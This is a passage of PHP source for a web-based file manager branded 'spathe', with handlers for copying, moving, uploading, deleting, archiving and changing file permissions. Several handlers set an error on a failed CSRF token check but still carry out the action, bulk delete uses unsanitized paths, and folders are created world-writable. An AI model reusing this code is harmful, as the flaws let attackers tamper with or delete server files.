    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> spathe <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

